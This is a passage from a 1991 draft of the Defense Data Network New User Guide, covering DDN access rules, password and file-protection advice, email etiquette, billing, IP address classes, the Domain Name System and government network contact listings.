RFC at + the top. Includes author, title, date of issue, RFC number, number of + hardcopy pages, number of online bytes, format (ASCII text), and + information regarding other RFCs that make a given RFC obsolete or + update it. Notes whether an RFC is also an FYI. + + +FYI/FYInn.TXT, where nn is the FYI number + (FYI = For Your Information) General information technical notes issued + as special RFCs. + + +FYI/FYI-INDEX.TXT + Mirror of the RFC Index, but listing only FYIs. Notes the corresponding + RFC number for each FYI. + + + + + + + + + + + + + + + + + + + + + + + + + + +DRAFT [Page 72] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + + SECTION 7. SECURITY CONSIDERATIONS AND NETWORK CONDUCT + + +7.1 Requirements for Legitimate DDN Access + +Only authorized users engaged in U.S. Government business or applicable +research, or who are directly involved in providing operations or system +support for Government-owned or Government-sponsored computer communications +equipment, may use the DDN. The network is not available for use by the +general public, nor is it intended to compete with comparable commercial +network services. Users of the DDN must not violate privacy or other +applicable laws and should not use the networks for advertising or recruiting +purposes without the express permission of the Defense Information Systems +Agency. + +Unauthorized use of the DDN is illegal. Persons who break into Government +networks or use Government computer resources without authorization will be +prosecuted. Hosts that permit this type of access will be disconnected from +the network. + + [NOTE: DISA reserves the right to discontinue DDN access to any + user(s) who are, in DISA's opinion, not conducting legitimate + Government business/activity. DISA will send one letter of warning + through command channels (via registered mail) to any user found to + be conducting illegitimate business. Should the illegitimate activity + continue, DISA will terminate the user's access without additional + notice.] + + +7.2 Security Considerations and Guidelines for Network Conduct + +Several levels of responsibility provide security for the DDN. At the most +basic level, individual users should take precautions to minimize the chances +that their accounts could be compromised. They bear the primary +responsibility for the protection of their information. If more users were to +take this responsibility seriously and act accordingly, the majority of +computer security breaches would not occur. + + + + +DRAFT [Page 73] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +You can best protect your own files via careful password management. Do not +use an unmodified word from any language; this includes words spelled +backward. Your Host Administrator should have suggestions as to proper +password choices. + +Follow these recommendations to reduce the possibility of compromise of your +computer system or files: + + * Do not leave your terminal logged in and unattended. + + * Know your operating system's protection mechanisms and make sure + that all your files are set up with appropriate protection modes. + + * Choose a password that meets the guidelines of your site or, at + minimum, one that is not an unmodified word from any language. A + simple modification involves prefixing a word with a numeral (or + several numerals). + + * Change your password as required by your site or, at minimum, every + six months. + + * Do not write your password down on paper or record it in a file + stored on any computer disk, floppy disk, PC, or magnetic tape. + +Users have the primary responsibility for protecting their own accounts, but +several other people have roles in providing system and network security. + +Host Administrators are generally responsible for ensuring that their host +sites maintain a reasonable level of protection from the possibility of +network compromise. They must act as liaisons with the DDN Network Security +Officer (DDN NSO), the Security Coordination Center (SCC), vendors, law +enforcement bodies, and other appropriate agencies to resolve any outstanding +security problems and prevent their recurrence. They are responsible for the +enforcement of all DDN policies at their site. + +The NSO recommends security policy affecting the DDN and is responsible for +its general enforcement. The NSO also works closely with Host Administrators +to resolve network and related computer security problems and incidents +affecting their sites. + + + +DRAFT [Page 74] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +The DDN Security Coordination Center is located at the NIC. The SCC acts as a +liaison between Host Administrators and the NSO and between MILNET sites and +Internet security response centers such as the Computer Emergency Response +Team (CERT). + +If you suspect that a computer break-in has occurred, you should contact your +Host Administrator. The flow of security incident reporting should be from +the end user to the Host Administrator or other appropriate individual, who +then determines if the problem is local or network related. If the problem is +network related, the Host Administrator should refer the problem to the +appropriate site as noted in DDN Security Bulletin 9003 [7]. In such cases, +the Host Administrator's first step is to call the MILNET Monitoring Center +for your area. Phone numbers for the Monitoring Centers are found in Section +9.2. + + +7.3 Network Conduct + +The network environment is somewhat different from the traditional workplace. +Rules for proper conduct are gradually emerging to fit this new environment. +The rules and guidelines presented here relate to four areas: + + * passwords + * file protection + * plagiarism + * network mail. + + +7.3.1 Passwords + +Since use of the network is restricted, passwords, access codes, and TAC cards +should never be shared. Change your host login password regularly and report +any unauthorized use of passwords to your Host Administrator. MILNET TAC +cards and records of host Userids and Access Codes should be kept in a safe +place. Users should be familiar with and follow local security guidelines. + + +7.3.2 File Protection + +Most operating systems have a method of protecting files from network read and +write access. The recommended file protection default for directories is "no + +DRAFT [Page 75] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +read and no write to outside users." If your files are protected in this way, +you can still make them accessible to outside users over the network, but you +must take action to reset file and directory protections to make this happen. + +As a new user, you should find out what the protection default is on your host +and ensure that files you don't want accessible to other users are protected. +Ask you Host Administrator about default file and directory protection +settings and for instructions on protecting/unprotecting files. + + +7.3.3 Plagiarism + +Even if a file is unprotected, you are not free to copy or read it without +first asking permission. It is as inappropriate to read online mail or browse +through online files without permission as it would be to read a colleague's +hardcopy mail or rummage around in his desk. + +Electronic plagiarism of another's work is just as unethical as plagiarism by +any other means. Be sure to credit users whose work you cite or whose ideas +you express. Copyright laws must also be carefully observed and obeyed. + +It is easy and convenient to exchange code and programming across the network. + +Many code developers are extremely generous in sharing their work. Even so, +before copying or using someone else's code, be sure to get permission from +the developer or maintainer and credit the source in your documentation. +Under no circumstances should programming or code from anywhere on the network +be used (verbatim or edited) commercially without the owner's explicit +permission. + + +7.3.4 Mail + +Electronic mail is a powerful communication tool that must be used with care. +The following guidelines will help you avoid offending other users and +overloading the network. + +It is easy to forward mail you receive; but the writer may never have intended +that anyone else read the message. For this reason, it is wise to check with +the sender before forwarding a private message of any significance. + + + +DRAFT [Page 76] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +The DDN is a business environment, so try to keep your messages short and to +the point. It is easy to send off a quick message, only to realize a moment +later that you needed to say more. To avoid this, organize your thoughts and +send a single message rather than several incomplete ones. This will make +your mail far more useful to the recipients, and minimize the load on the +network. + +Online mail tends to change a person's style of communication. Sending mail +is so quick that it is tempting to send your immediate reaction to a message +rather than a more considered, appropriate response. Do not use derogatory or +inappropriate language in messages, especially those sent to discussion +groups. Keep in mind that no one likes to be offended or embarrassed by +careless comments. + +Finally, if you regularly send mail to a large group, learn how to create a +mailing list. Otherwise, each recipient must scroll through a list of the +mailboxes of all other recipients as a part of the message header. + +Remember, use of the network is a privilege. It is your duty to use the +network responsibly as it was intended to be used and to obey general network +policies. In return, the network gives you access to many tools and to an +online community of other network users. + + +7.4 Additional Security Information + +Host and system administrators are encouraged to order "DCAC 310-P115-1, DDN +Security Management procedures for Host Administrators," May 1991. Copies may +be obtained in the following manner: + + a. Government agencies may request a publication by submitting a DCA + Form 117, Publication of Blank Form Request, to the Director, DISA, + ATTN: BIAR, Arlington, VA 22204-2199. + + b. Other organizations may request a publication by submitting a letter + with appropriate justification to the address given above. The DCA + Form 117 is used by Government agencies ONLY. + + + + + +DRAFT [Page 77] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + + SECTION 8. NETWORK CONCEPTS OVERVIEW + + +8.1 Introduction + +In the following paragraphs, we provide some general information about topics +such as usage-sensitive billing, network concentrators, network addresses, the +Domain Name System, and GOSIP. Although most new DDN users will not be +actively involved in any of the areas covered in this section, they do involve +concepts you should become familiar with, since they are important to all DDN +users. + + +8.2 Usage-Sensitive Billing + +The usage-sensitive billing system was implemented on the DDN to distribute +costs more equitably, based on actual use of network resources. The tariff +structure is designed to support cost recovery so that the amount recovered +from each subscriber is proportional to that subscriber's use of network +resources. + +Generally speaking, all hosts and dedicated terminals are charged a basic +monthly rate. Users' network connections are charged on a per-minute basis. +A charge is also levied for each kilopacket of traffic sent by each host or +terminal user. Charges reflect peak-versus-nonpeak usage and precedence +level. + +Monthly bills are sent to designated representatives of the military branches +as well as to other Government agencies. The bills are then distributed +according to locally established policies. That is, a packet of several bills +might be sent to a site and then distributed to other individuals by the +billing Point of Contact (POC) at that site. + +It is rare for an individual user to see a bill. However, you should be aware +that your use of the DDN does affect costs charged back to your service and, +perhaps, to your host site. Therefore, all users should be conscientious in +conforming to host site usage policies. + + + + +DRAFT [Page 78] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +The NIC provides a Usage Sensitive Billing (USB) Service Desk to help answer +inquiries from DDN users or user organizations regarding the traffic and/or +connection charges shown on their billing reports. USB Service Desk personnel +are available by phone Monday through Friday from 7:00 a.m. to 3:00 p.m., +Eastern time. Electronic mail is accepted 24 hours per day. + +Service Desk personnel have access to many sources of DDN usage information. +They are available to answer general questions as well as site- or +user-specific questions. In the event a question or inquiry goes beyond the +scope of the Service Desk, the caller can be referred to a more appropriate +contact or agency. + +Use the following information to contact the USB Service Desk: + +By Electronic Mail: BILLING@NIC.DDN.MIL + +By Phone: 1 (800) 365-DNIC (inside the U.S.) + 1 (703) 802-4535 (outside the U.S.) + +By U.S. Mail: DDN Network Information Center + ATTN: Usage-Sensitive Billing Desk + 14200 Park Meadow Drive, Suite 200 + Chantilly, VA 22021 + + + +8.3 Network Concentrators + +Networks can be categorized according to size or geographic distribution, and +they can be referred to as local area networks (LANs) or wide area networks +(WANs). A LAN might serve a single office, a building, or an entire military +site. WANs are typically cross-country networks employing technologies such +as satellites or long distance land lines; they can serve large geographic +areas such as military installations located throughout the world. The DDN is +a WAN that reaches all major DoD installations worldwide. + +To expand computer communications not only across geographical distances, but +also across different networking technologies, gateways are used to connect +networks together into internetworks or "internets." The DDN is part of an +IP-based internetwork known to DDN users as "the Internet." + + +DRAFT [Page 79] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +The use of gateway concentrators as a method of connecting to the DDN is a +relatively new trend. Gateway concentrators enable LANs and hosts at military +installations to connect to the DDN. Concentrators lessen the need for +individual host connections without limiting local users' access to full DDN +service. + +Gateway concentrator use increased when DISA limited the number of PSN ports +that would be available to connect hosts directly to the DDN. This +limitation, coupled with the long lead time required for direct host +connections, lent impetus to the establishment of gateway concentrator +programs for the military. Currently, the Air Force and the Army have +concentrator programs to fulfill their long-haul data communication +requirements. These programs have become their primary method of connecting +unclassified computer systems to the DDN. + +Gateway concentrators provide a number of advantages for connecting +installations to the DDN: + + * Greater Connection Capacity. + With the installation of a gateway concentrator at a local site, the + number of hosts that can be connected to the DDN is no longer limited + by the number of ports available on a PSN. Instead, many hosts can + be connected to a concentrator, and the total amount of traffic they + pass to the DDN is accommodated by the connection between the gateway + concentrator and the MILNET PSN to which it is attached. + + * Quick Connection. + The gateway concentrator program was designed to allow multiple hosts + to access a single DDN port simultaneously. Computers at an + installation that requires unclassified worldwide communication will + be connected to the Internet automatically because their local + networks are attached to the Internet via the concentrator. Thus, + these hosts will not require direct connections to DDN ports. This + configuration enables the various military services (e.g., Air Force, + Army) to manage their host connections directly, and to avoid the + long wait for individual host connections to DDN ports. + + * Lower Cost Per Host. + Because of the DDN usage-sensitive billing system structure, the + gateway concentrator programs reduce costs for DDN connection. With + the installation of a gateway concentrator, the charges for initial + +DRAFT [Page 80] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + host connections are reduced, as the service is charged only once for + the initial connection of the concentrator itself, rather than for + each individual host connection. In addition, traffic between local + hosts on the network behind a gateway concentrator will not be billed + because such traffic will not travel across DDN facilities. + +The Air Force has a help desk at the Internet Control Center (INCC) to aid +concentrator users in accessing the DDN: + + AFINCC@SERVER.AF.MIL + Headquarters Standard Systems Center/AQFC + Building 857, Room 200A + Gunter Air Force Base, AL 36114-6343 + (205) 416-5771, (205) 416-5861; (DSN) 596-5771, 596-5861 + + + +8.4 Network Addressing + +The network address is the official numeric address of a host, TAC, or gateway +(as opposed to the official name by which these entities are addressed). +Network addresses take the format "nnn.nnn.nnn.nnn" (dotted decimal format), +where nnn represents an up to 3-digit decimal identifier from 0 through 255, +and each numeric component is separated from the next with a period. Each +decimal part represents one octet of a 32-bit network address. The standard +Internet address is divided into two parts: a network part and a local host +part. Based on this two-part division, three classes of Internet addresses +have been defined: Class A, Class B, and Class C. + + +CLASS A Network Addresses + +Class A network addresses have the following characteristics: + + * Composed of a 1-byte network address and a 3-byte local address. + * The highest-order bit of the (1-byte) network address is set to 0. + * Therefore, the first (or network address) byte of a CLASS A address + must be in the range from 0 to 127. + * Consequently, CLASS A could have as many as 128 networks with 2 to + the 24th power (16,777,216) hosts on each of these networks. + + +DRAFT [Page 81] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +All directly connected MILNET hosts are on network 26, which is a Class A +network. + +For MILNET hosts, + + * The first part of the address is the network number (26). + * The second part is the physical port number on the host's PSN. + * The third part is the logical port number (currently 0 (zero) for + MILNET hosts). + * The fourth part is the number of the PSN to which the host is + connected. + +Therefore, a host with the address 26.31.0.73 is on network 26 (the number +assigned to the MILNET) and is attached to port 31 on PSN 73. + + +CLASS B Network Addresses + +Class B network addresses have the following characteristics: + + * The two high-order bytes of the Internet address contain the network + number, while the two low-order bytes contain the local host number. + * The highest order bits are set to 10, which means that the first byte + must be a number in the range 128 to 191. + * Consequently, CLASS B could have as many as 16,384 networks with 2 to + the 16th power (65,536) hosts on each of these networks. + + +CLASS C Network Addresses + +Class C network addresses have the following characteristics: + + * The network number is contained in the three high-order bytes of the + Internet address, while the local host address is represented in the + single low-order byte. + * The three highest-order bits of the network address are set to 110. + * Therefore, the first byte must be in the range 192 to 233. + * Consequently, CLASS C could have as many as 2,097,152 networks with + 2 to the 8th power (256) hosts on each of these networks. + + + +DRAFT [Page 82] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +The Internet Registry (IR) at the DDN NIC assigns the network portion of an +address to a network. The local network coordinator for a specific host +assigns the local portion of that host's network address. + +Here are some examples of how each type of network number looks: + + Class A: 26.31.0.73 + Class B: 128.18.1.1 + Class C: 192.67.67.20 + + [NOTE: A network address is different from a user's address. The + term "user address" refers to a person's electronic mailbox, such as + henry@nic.ddn.mil.] + +In addition to the three classes defined above, a class of addresses whose +three highest order bits are 111 has been defined. It is currently in limited +use. This class is sometimes referred to as "CLASS D." Figure 8-1 on the +next page graphically represents the three major Internet address classes. + + + + + + + + + + + + + + + + + + + + + + + + +DRAFT [Page 83] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +CLASS A Internet Address: + + + Byte: 1 2 3 4 + <-----------><-----------><-----------><-----------> + Bit: 0 07 15 23 31 + + +--------------------------------------------------+ + | | Network | | + |0| Address | Local Address | + +--------------------------------------------------+ + + + +CLASS B Internet Address: + + + Byte: 1 2 3 4 + <-----------><-----------><-----------><-----------> + Bit: 0 07 15 23 31 + + +--------------------------------------------------+ + |1|0| Network Address | Local Address | + +--------------------------------------------------+ + + + +CLASS C Internet Address: + + + Byte: 1 2 3 4 + <-----------><-----------><-----------><-----------> + Bit: 0 07 15 23 31 + + +--------------------------------------------------+ + | | | | | Local | + |1|1|0| Network Address | Address | + +--------------------------------------------------+ + + + Figure 8-1. Internet Address Classes + +DRAFT [Page 84] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +8.4.1 Finding Network Address Information + +The WHOIS database at the NIC contains POC information for every network the +IR (Internet Registry) assigns; however, it may not contain information for +every host on a network. Therefore, remember to search on the network portion +of the address rather than the complete address when you are using the WHOIS +program to obtain information on a host. + +For example, the Class C address + + 192.112.36.70 + +is not in the database, but searching on + + 192.112.36.0 + +shows you information for LOCALNET. When using WHOIS to find the POC +information for a network, set the local portion(s) of the address to zero. +(See Section 6.3.1.3 for an example of using WHOIS to search for a network +address.) + + +8.4.2 Obtaining Network Addresses + +DISA assigns all MILNET network addresses (Class A, network 26), and the +MILNET Manager must approve any changes to or deletions of MILNET network +addresses. + +The NIC assigns all other Class A, B, and C network addresses. Requests to +obtain an official Class B or C number or to make changes to hosts registered +with these addresses should be directed online to HOSTMASTER@NIC.DDN.MIL. To +arrange for a hardcopy application, call the NIC at 1 (800) 365-DNIC. +Applications can also be requested through the SERVICE mail server (see +Section 6.3.5). + + +8.4.3 Knowing Your Network Address + +Each user should know the network address of his/her host. It is especially +important to know your host's address if you use a TAC or Mini-TAC because you +will have to enter the address as part of the TAC login sequence. Your host + +DRAFT [Page 85] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +address is often--but not always--the address printed on your TAC card by the +label AUTHORIZING HOST. Even if you have a script file or program that enters +this information for you as you log in, learn your address so you can tell it +to the NIC or the MILNET Monitoring Center when you call them about a login +problem. + + +8.5 The Domain Name System + +Until the mid-1980s, a DDN host could find data on hostname-to-network-address +translation solely through the use of a file called the host table, which was +generated at the NIC. + +The host table contained the name and network address of every host that was +registered with the NIC. Individual host sites had to transfer and install +new copies of the host table regularly in order to have correct host +addressing information. The host table had to be updated frequently to enable +mail and other data to be sent back and forth across the Internet. + +As time went on, however, the number of hosts listed in the host table became +so large that the file was difficult to maintain efficiently, as well as +difficult and time-consuming for sites to transfer. As an alternative to the +host table file, the Domain Name System (DNS) was developed. Currently, the +NIC maintains data for both the host table and the DNS. The host table +listing is an extremely restricted subset of the hosts registered in the +Domain Name System. + +In a nutshell, the DNS is a way of administratively grouping hosts into a +hierarchy of authority. The DNS allows addressing information to be widely +distributed and updated locally, which results in more efficient data +retrieval and maintenance. Complete conversion to the DNS will eliminate the +need for one site to maintain a centralized table of names and addresses. + +Under the DNS, host name and address information, along with other data, is +distributed throughout the network in a hierarchical scheme. At the top of +the hierarchy are the root servers that contain information about the +top-level and second-level domains. At the bottom of the hierarchy are the +individual hosts. + + + + +DRAFT [Page 86] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +Each domain within the DNS must have two hosts that provide name service for +it, which means that these hosts must run programs called name servers. When +queried by programs known as resolvers (located on individual hosts), these +name servers provide name and address information to/for the particular hosts +within their domain. (The hosts themselves are called servers, even though, +technically, a server is a program.) Each server contains a subset of +Internet domain information. If a query arrives at a server that does not +have address information for a particular host, it will be able to direct the +query to the server where the information resides. + +Queries regarding specific hostnames usually begin by asking a server that +knows about the top-level domain under which that host falls. Currently, most +domains on the Internet are registered within one of the following top-level +domains: + + * COM for commercial institutions + * EDU for educational institutions + * GOV for non-military government agencies and organizations + * MIL for military agencies and organizations + * NET for backbone networking entities + * ORG for non-profit institutions. + +Top-level domains are also registered for countries--e.g., BE for Belgium and +FI for Finland. The NIC registers information for only the top level of these +country domains. Lower-level domains are registered within the country. + +Hosts registered on the Internet must have names that reflect the domains +under which they are registered. Such names are called Fully Qualified Domain +Names (FQDNs) and include all domains of which the host is a part. For +example, NIC.DDN.MIL is the name of the NIC's main host. The hostname +NIC.DDN.MIL, when taken piece by piece, gives information about the host +itself. A hostname ending in MIL signifies sponsorship from a +military-related organization. The second-level domain, DDN, indicates that +the host is used by an organization within the DDN. The third-level domain, +NIC, indicates the host is used by the NIC. + +Between the root servers and the individual hosts are other hosts that act as +servers and contain part of the information within the DNS hierarchy. For +example, a program looking for the address of NIC.DDN.MIL might first send a +query to a root server. + + +DRAFT [Page 87] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +The root server would not know the address of NIC.DDN.MIL in particular, but +would direct the query to another server that had information about the +DDN.MIL domain. The second server would know which hosts provide name service +about NIC.DDN.MIL and direct the query to those hosts. Finally, the query +would arrive at the specific host providing name service for NIC.DDN.MIL. That +host would return the network address information via the DNS to the host that +initiated the query. All of this happens very quickly--usually in less than a +minute. + +Mail programs must know the address of each host to which they send mail. +Users normally include a hostname in the headers of their messages. The mail +program queries either the DNS or a host table to translate that hostname to a +network address. This enables the mail message to be delivered across the +network. + +For example, if a user named Sam wants to send mail to his friend Joe at the +host EXAMPLE.SAMPLE.COM, he can do so in one of two ways. + + 1. Via the Host Table-- + + * The host EXAMPLE.SAMPLE.COM is registered in the host table + along with its netaddress. + + * The mail program finds the correct netaddress from the host + table on the sender's local host and sends the mail to Joe. + + In this method of transmission, every host that Sam wants to + communicate with must be listed in the host table file on his own + host. Sam may not be able to reply to messages sent to him if his + host does not recognize the hostname in the sender's return address. + + + 2. Via the Domain Name System-- + + * The mail program trying to deliver a message addressed to + JOE@EXAMPLE.SAMPLE.COM sends a tracker called a query to one of + seven root servers. + + * The root server has information on the COM top-level domain and + knows which two domain servers hold further information on the + SAMPLE.COM domain. + +DRAFT [Page 88] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + * The root server points the query to those domain servers. + + * When the query arrives at the ultimate destination server, it + learns the netaddress of the host EXAMPLE.SAMPLE.COM, and the + mail program obtains the information necessary to establish a + path from the sender's host to Joe's host. + + * The query directs the mail down that path to Joe's mail account + on the EXAMPLE.SAMPLE.COM host. + + + +8.6 Government Open Systems Interconnection Profile (GOSIP) + +The Government Open Systems Interconnection Profile (GOSIP) is a document that +describes the Government's plans to transition its networks from the +TCP/IP-based protocols to international protocols based on the Open Systems +Interconnection (OSI) Reference Model. The goal is to add OSI-based functions +to the Internet without sacrificing services now available to Internet users. + +Several documents pertain to GOSIP or its implementation; however, we will +mention only one resource that will point you toward the most current +information available. + +RFC 1169, "Explaining the Role of GOSIP," [6] discusses how GOSIP should be +applied to near-term network planning and explains the role and applicability +of the GOSIP document. In addition, it has an appendix that describes other +GOSIP documents and tells how to obtain them. The appendix also lists +contacts for further information regarding the documents. This RFC will +probably be updated as the status of GOSIP changes, so check the RFC Index, +available at the NIC, to ensure that you have the most current information. + + + + + + + + + + + +DRAFT [Page 89] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + + SECTION 9. NETWORK SERVICE CENTERS AND CONTACTS + + +The three main service centers on the DDN are: + + * The DDN Network Information Center (NIC) + + * The DDN Network Monitoring Centers (NMC) for the United States, + Pacific, and European areas + + * The Defense Information Systems Agency's Defense Network Systems + Organization (DISA DNSO). + +This section of the Guide describes the services provided by these +organizations and gives a list of key contacts for each. + +This section also tells you how to obtain the names of other key network +contacts, including the following: + + * Host Administrators + * Node Site Coordinators + * Military Communications and Operations Command Contacts. + +These people and places are sources of network-related information and help, +so it is important for you to familiarize yourself with them. + + +9.1 The DDN Network Information Center (NIC) + +The DDN Network Information Center (NIC) is located at Government Systems, +Inc. (GSI) headquarters in Chantilly, Virginia. The NIC is funded by the +Defense Information Systems Agency's Defense Network Systems Organization +(DISA DNSO). Its mission is to provide general reference services to DDN +users via telephone, electronic mail, and U.S. mail. The NIC is the first +place to turn to if you are not sure who provides the service you need or who +is the right person to contact. Section 6 describes the NIC services in +detail. + + + + +DRAFT [Page 90] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +9.1.1 General Reference Service Provided by the NIC + +The NIC provides several kinds of user assistance. Our main Help Desk phone +numbers are + + 1 (800) 365-DNIC (inside the U.S.) + +1 (703) 802-4535 (outside the U.S.) + +The first number is toll-free. Service is available Monday through Friday, +from 7 a.m. to 7 p.m., Eastern time. + +The NIC Help Desk assists those who experience problems with the network and +with terminal-to-TAC use. In addition, the NIC is happy to answer questions +about any other service outlined in this section. + +The NIC host computer's hostname and its network address are: + + NIC.DDN.MIL 192.112.36.5 + +NIC online services are available 24 hours a day, 7 days a week. + + +9.1.2 NIC Online Contacts + +The NIC supports several online mailboxes to provide assistance in specific +areas. + + Type of Inquiry Network Mailbox + + General User Assistance NIC@NIC.DDN.MIL + TAC and Non-TAC User Registration REGISTRAR@NIC.DDN.MIL + Urgent Security Matters NIC-ALERT@NIC.DDN.MIL + Host, Domain, and Net Registration HOSTMASTER@NIC.DDN.MIL + NIC.DDN.MIL Computer Operations ACTION@NIC.DDN.MIL + Comments on NIC Publications, Services SUGGESTIONS@NIC.DDN.MIL + Security Concerns and Questions SCC@NIC.DDN.MIL + Usage-Sensitive Billing Questions BILLING@NIC.DDN.MIL + Automatic Mail Service SERVICE@NIC.DDN.MIL + Reporting NIC Software Bugs BUG-SERVICE@NIC.DDN.MIL + + + +DRAFT [Page 91] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +9.1.3 NIC U.S. Mail Address + + Network Information Center + 14200 Park Meadow Drive, Suite 200 + Chantilly, VA 22021 + + +9.2 Network Monitoring Centers (NMCs) + +The three Network Monitoring Centers are:. + + * The CONUS MILNET Monitoring Center (CMMC) located at DISA + headquarters in Washington, DC; the CMMC provides a toll-free hotline + Trouble Desk phone number for quick reporting of network problems. + + * The Pacific MILNET Monitoring Center (PMMC) located at Wheeler AFB + in Hawaii. + + * The European MILNET Monitoring Center (EMMC) located in Patch + Barracks, Vaihingen, Germany. + +All NMCs provide operations support for several DoD packet-switching networks. + +The NMCs concentrate on real-time network management, with the primary +objective of maximizing each network's operating efficiency. In addition, +they receive the first DDN security incident reports. + +Bolt Beranek and Newman, Inc., Communications Division (BBNCD) provides DDN +with operations and technical support, configuration management, software +maintenance and enhancement, hardware maintenance, and required hardware. + + +9.2.1 NMC Services + +NMC services include remote status monitoring, coordination of network outage +troubleshooting efforts, and 24-hours-per-day, 7-days-per-week technical +assistance to users. The NMCs typically work on backbone-related outages +consisting of node and circuit problems; they provide help in determining +whether host connectivity problems are network related. + +Your Host Administrator contacts the appropriate NMC for all network hardware +problems, hardware field service, problems with host interfaces, suspected +node software problems, or DDN security problems. + +DRAFT [Page 92] DRAFT + + + + + +NIC 60001, September 1991 DDN New User Guide + + +9.2.2 NMC Contacts + + Title Telephone Network Mailbox + + CONUS MMC 1 (800) 451-7413 DCA-MMC@DCA-EMS.DCA.MIL + 1 (703) 692-2268 + + European MMC 011 49 711 687 7766 STT-CONTROL@FRG.BBN.COM + + Pacific MMC 1 (808) 656-1472 PMMC@PAC-MILNET-MC.DCA.MIL + + MILNET Trouble Desk 1 (703) 692-5726 + + +9.2.3 NMC U.S. Mail Addresses + + +CONUS MILNET Monitoring Center Pacific MILNET Monitoring Center +DCA Headquarters Defense Communications Agency, Pacific +701 South Courthouse Rd. Wheeler AFB, HI 96854-5000 +Arlington, VA 22204-2199 Attn: P-600 +Attn: MILNET Manager + + European MILNET Monitoring Center + BBNCD + DCA-Europe + Box 1000 Att: DED + APO NY 09131-4103 + + +9.3 Host Administrators and Node Site Coordinators + +Each host has a representative who serves as its technical and administrative +contact--the Host Administrator. The Host Administrator provides important +host-related services such as the following: + + * Collaborates with the DDN PMO on security matters involving hosts, + + * Interprets network policies as they apply to his/her host, + + * Decides which users may access the network (within the guidelines + set by the DDN PMO), + +DRAFT [Page 93] DRAFT + + + + + +NIC 60001, September 1991 DDN New User Guide + + + * Authorizes user access to the MILNET Terminal Access Controllers + (TACs) and Mini-TACs, + + * Helps network users with technical problems involving hosts, and + + * Works with the Network Information Center and the Network Monitoring + Centers to provide information and technical assistance. + +Each network node, or PSN, has a Node Site Coordinator (NSC). The Node Site +Coordinator is the local site representative who has access control, +accountability, and coordination responsibility for the DDN-owned network +hardware, software, and circuits located at the node site. + +Occasionally, one person serves both roles. A Host Administrator or Node Site +Coordinator may also designate an alternate who can assist with the +administrative or technical demands of the position. + +To find the names, addresses, telephone numbers, and network mailboxes for +these contacts, see Section 6.3. + + +9.4 Military Communications and Operations Command Contacts + +Each military department has designated an organization to serve as the +primary DDN Point of Contact. Requests for information or assistance should +be directed to the following organizations: + +Service Address Telephone DSN + +Air Force AFDDN PMO 1 (205) 279-4075/3290 446-4075 + Gunter AFS, AL 36224-6340 + +Army OSAISC, AS-PLN-RF 1 (602) 538-6915 879-6915 + Fort Huachuca, AZ 85613-5000 + +Navy COMNAVTELCOM, Code N521 1 (202) 282-0381/2 292-0381 + Washington, DC 20390-5290 + + + + + +DRAFT [Page 94] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +9.5 Defense Information Systems Agency, Defense Network Systems + Organization (DISA DNSO) + + [NOTE: The Defense Communications Agency, DCA, became the DISA in 1991; + in the same year, the Defense Communications System Organization became + the DNSO.] + +The Defense Information Systems Agency, Defense Network Systems Organization +(DISA DNSO) is responsible for overall management of the Defense Data Network +(DDN). DDN Newsletter 58, available online as DDN-NEWS/DDN-NEWS-58.TXT from +the NIC.DDN.MIL host, contains the most current listing of DISA DNSO personnel +and their areas of responsibility. Contact the NIC to ensure that this +newsletter still reflects the most current information on DNSO staff contacts. + + +9.6 If You Have a Network Use Problem + + +For Questions on: Contact: + +Terminal settings Host Administrator or User Representative +Host login Host Administrator or User Representative +MILNET TAC access Host Administrator for your primary MILNET host +TAC login procedure Network Information Center +TAC line problems TAC Node Site Coordinator or the Monitoring + Center +TAC phone numbers NIC TACNEWS program +General DDN information Network Information Center +Host line problems Respective Network Monitoring Center + + + + + + + + + + + + + +DRAFT [Page 95] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + SECTION 10. BIBLIOGRAPHY + + +Many of the manuals and documents listed below are cited in this Guide; others +provide information that should be helpful to you as users of the DDN. When +available, ordering numbers are given for items that can be ordered from the +Defense Technical Information Center (DTIC) or from DISA. Hardcopies of some +of these documents can be ordered from SRI International, Menlo Park, CA. + +If the NIC offers online versions, the filenames are shown in brackets. + + +Cited References + +1. TAC Users' Guide. DCAC 310-P70-74. 1988 June. + +2. DDN Subscriber Interface Guide. Defense Data Network, Program Management + Office, Defense Information Systems Agency, 701 S. Courthouse Rd, + Arlington, VA 22204-2199. 1983. (AD-A132 877/2). + +3. DeLauer, R.D., DoD Policy on Standardization of Host-to-Host Protocols for + Data Communications Networks. Office of the Secretary of Defense, + Washington, D.C., 1982 March. [IEN/IEN-207.TXT] + +4. Carlucci, F. C., "Autodin II Termination," Memorandum for Secretaries of + the Military Departments, Deputy Secretary of Defense, Washington, D.C., + 1982 April. + +5. Defense Information Systems Agency, DDN Network Systems Organization. + Defense Data Network Management Bulletin 76: "TAC User Registration + Clarification." Menlo Park, CA. SRI International, 1990 August 24; DDN + Mgt. Bul. 76, 1 p. [DDN-NEWS/DDN-MGT-BULLETIN-76.TXT] + +6. RFC 1169, Explaining the Role of GOSIP. 1990 August. 15 p. + [RFC/RFC1169.TXT.] + +7. Defense Information Systems Agency, Defense Network Systems Organization. + Defense Data Network Security Bulletin 9003: "Security Violation + Reporting." Menlo Park, CA: SRI International, DDN Security Coordination + Center; 1990 February 15; DDN Security Bul. 9003. 2 p. + 